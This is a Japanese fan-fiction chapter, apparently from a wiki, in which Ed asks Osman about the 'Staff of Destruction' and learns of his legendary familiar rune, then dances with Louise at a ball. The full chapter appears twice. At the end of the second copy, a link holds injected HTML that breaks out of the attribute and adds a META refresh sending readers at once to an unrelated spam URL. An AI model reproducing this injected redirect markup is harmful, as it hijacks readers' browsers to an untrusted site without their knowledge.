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*第15話 ―トリスティン魔法学院― 学院長室にて、オスマン氏が四人の報告を聞いていた 「ふむ…ミス・ロングヒルがフーケじゃったのか…美人じゃったから、何の疑いもなかったわい」 「「「「…」」」」 「とにかく、四人ともご苦労じゃったな。フーケを捕まえて、『破壊の杖』も取り戻してきてくれた」 オスマン氏は、満足気に言った 「今宵は『フリッグの舞踏会』じゃ。存分に楽しむがよい。今宵の主役は君らじゃ」 オスマン氏にそう言われ、三人は部屋を出た。しかしエドは、部屋に残りオスマン氏に話しかけた 「あの…『破壊の杖』はどこでてに入れたんですか?あれは、俺がいた世界にあった武器なんですよ」 「あれは…三十年前のこどじゃ…森を詮索していたワシは、ワイバーンに襲われた。その時助けてくれたのが、『破壊の杖』の持ち主じゃ。彼に、命を救われたのじゃ」 「その人は…」 「もう、死んでしまった…じゃからワシは、彼が使っていた武器を『破壊の杖』と名づけ、宝物庫にしまいこんだ。恩人の形見としてな……」 「誰がその人を、この世界に呼んだんですか?」 「それは、わからんよ」 「くそ!せっかく手がかりを見つけたと思ったのに」 エドは嘆いた。せっかくの手がかりが、あっという間なくなってしまった 「…そういえば、おぬしのルーン…」 「へ?あぁ…これが何か?」 「…それは、ガンダールヴの印じゃ。伝説の使い魔の印じゃよ」 「伝説の使い魔の印?」 「そうじゃ。その伝説の使い魔はありとあらゆる『武器』を使いこなしたそうじゃよ」 「…どうして、俺がその伝説の使い魔なんかに?」 「すまんが、わからん。ただ、もしかしたら、おぬしがこっちの世界にやってきたことと、その印は、なにか関係しているのかもしれんな」 「はぁ…(使えねぇ)」 「とにかく、ワシはおぬしの味方じゃ。なにかあったらワシに言うんじゃぞ」 「…はぁ。なにかわかったら、お願いします」 「ふむ。今宵はおぬしも楽しむんじゃぞ」 ―舞踏会― エドは、大量の料理をバルコニーに運んで食べていた 「相棒ぉ、さっきから食い過ぎじゃねぇのか?」 「うるさい!これで帰れると思ったのに…。食わないと落ち着かないんだよ」 エドは、デルフリンガーにそう言って、また一つ料理を口に運んだ 「…ミルクは飲まねぇのか??体にいいぜ」 「うっ……けっ!誰が…牛が出した分泌物を飲まないといけないんだ!!」 そう言って、ミルクを遠ざけた 「相棒ぉ…」 「と、とにかく!今は食うんだ!」 エドはデルフリンガーと、バルコニーでこんな会話をしていると、ホールの方が騒がしくなった 「ヴァリエール公爵が息女、ルイズ・フランソワーズ・ル・ブラン・ド・ラ・ヴァリエール嬢のおな~りぃ~」 エドは息をのんだ 「…」 「こりゃまた…」 デルフリンガーだけが、声をだしていた エドが会場を見ると、そこには華麗にドレスアップしたルイズの姿が見えた 「こりゃぁ…相棒、見てみろよ」 「…ふん」 エドが食べ物を食べていると 「楽しんでるみたいね。」 ルイズがエドに声をかけてきた 「べ、別に…」 「それにしても、よく食べるわねぇ」 「ほっとけ!」 「そう…」 「「……」」 「…そういえば、お前は踊らないのか?」 「踊る相手がいないのよ」 「ふ~ん…モグモグ」 ルイズは、手をエドの前に出した 「踊ってあげてもよくってよ…?」 「へっ…!?…お、『踊ってください』―じゃねぇのか?」 「もうっ!!…今夜だけだからね。…私と一曲踊ってくださいませんこと?」 ルイズは顔を赤く染めている (相変わらずだなww) 「ダンスなんかした事ないぞ」 「私に合わせて。…そう…ねぇ、私にもっと話してよ、エドのこと。私、信じることにしたから…」 エドはルイズに、エドがいた世界の事を話した。 ―こうして、夜は過ぎていった―
*第15話 ―トリスティン魔法学院― 学院長室にて、オスマン氏が四人の報告を聞いていた 「ふむ…ミス・ロングヒルがフーケじゃったのか…美人じゃったから、何の疑いもなかったわい」 「「「「…」」」」 「とにかく、四人ともご苦労じゃったな。フーケを捕まえて、『破壊の杖』も取り戻してきてくれた」 オスマン氏は、満足気に言った 「今宵は『フリッグの舞踏会』じゃ。存分に楽しむがよい。今宵の主役は君らじゃ」 オスマン氏にそう言われ、三人は部屋を出た。しかしエドは、部屋に残りオスマン氏に話しかけた 「あの…『破壊の杖』はどこでてに入れたんですか?あれは、俺がいた世界にあった武器なんですよ」 「あれは…三十年前のこどじゃ…森を詮索していたワシは、ワイバーンに襲われた。その時助けてくれたのが、『破壊の杖』の持ち主じゃ。彼に、命を救われたのじゃ」 「その人は…」 「もう、死んでしまった…じゃからワシは、彼が使っていた武器を『破壊の杖』と名づけ、宝物庫にしまいこんだ。恩人の形見としてな……」 「誰がその人を、この世界に呼んだんですか?」 「それは、わからんよ」 「くそ!せっかく手がかりを見つけたと思ったのに」 エドは嘆いた。せっかくの手がかりが、あっという間なくなってしまった 「…そういえば、おぬしのルーン…」 「へ?あぁ…これが何か?」 「…それは、ガンダールヴの印じゃ。伝説の使い魔の印じゃよ」 「伝説の使い魔の印?」 「そうじゃ。その伝説の使い魔はありとあらゆる『武器』を使いこなしたそうじゃよ」 「…どうして、俺がその伝説の使い魔なんかに?」 「すまんが、わからん。ただ、もしかしたら、おぬしがこっちの世界にやってきたことと、その印は、なにか関係しているのかもしれんな」 「はぁ…(使えねぇ)」 「とにかく、ワシはおぬしの味方じゃ。なにかあったらワシに言うんじゃぞ」 「…はぁ。なにかわかったら、お願いします」 「ふむ。今宵はおぬしも楽しむんじゃぞ」 ―舞踏会― エドは、大量の料理をバルコニーに運んで食べていた 「相棒ぉ、さっきから食い過ぎじゃねぇのか?」 「うるさい!これで帰れると思ったのに…。食わないと落ち着かないんだよ」 エドは、デルフリンガーにそう言って、また一つ料理を口に運んだ 「…ミルクは飲まねぇのか??体にいいぜ」 「うっ……けっ!誰が…牛が出した分泌物を飲まないといけないんだ!!」 そう言って、ミルクを遠ざけた 「相棒ぉ…」 「と、とにかく!今は食うんだ!」 エドはデルフリンガーと、バルコニーでこんな会話をしていると、ホールの方が騒がしくなった 「ヴァリエール公爵が息女、ルイズ・フランソワーズ・ル・ブラン・ド・ラ・ヴァリエール嬢のおな~りぃ~」 エドは息をのんだ 「…」 「こりゃまた…」 デルフリンガーだけが、声をだしていた エドが会場を見ると、そこには華麗にドレスアップしたルイズの姿が見えた 「こりゃぁ…相棒、見てみろよ」 「…ふん」 エドが食べ物を食べていると 「楽しんでるみたいね。」 ルイズがエドに声をかけてきた 「べ、別に…」 「それにしても、よく食べるわねぇ」 「ほっとけ!」 「そう…」 「「……」」 「…そういえば、お前は踊らないのか?」 「踊る相手がいないのよ」 「ふ~ん…モグモグ」 ルイズは、手をエドの前に出した 「踊ってあげてもよくってよ…?」 「へっ…!?…お、『踊ってください』―じゃねぇのか?」 「もうっ!!…今夜だけだからね。…私と一曲踊ってくださいませんこと?」 ルイズは顔を赤く染めている (相変わらずだなww) 「ダンスなんかした事ないぞ」 「私に合わせて。…そう…ねぇ、私にもっと話してよ、エドのこと。私、信じることにしたから…」 エドはルイズに、エドがいた世界の事を話した。 ―こうして、夜は過ぎていった―[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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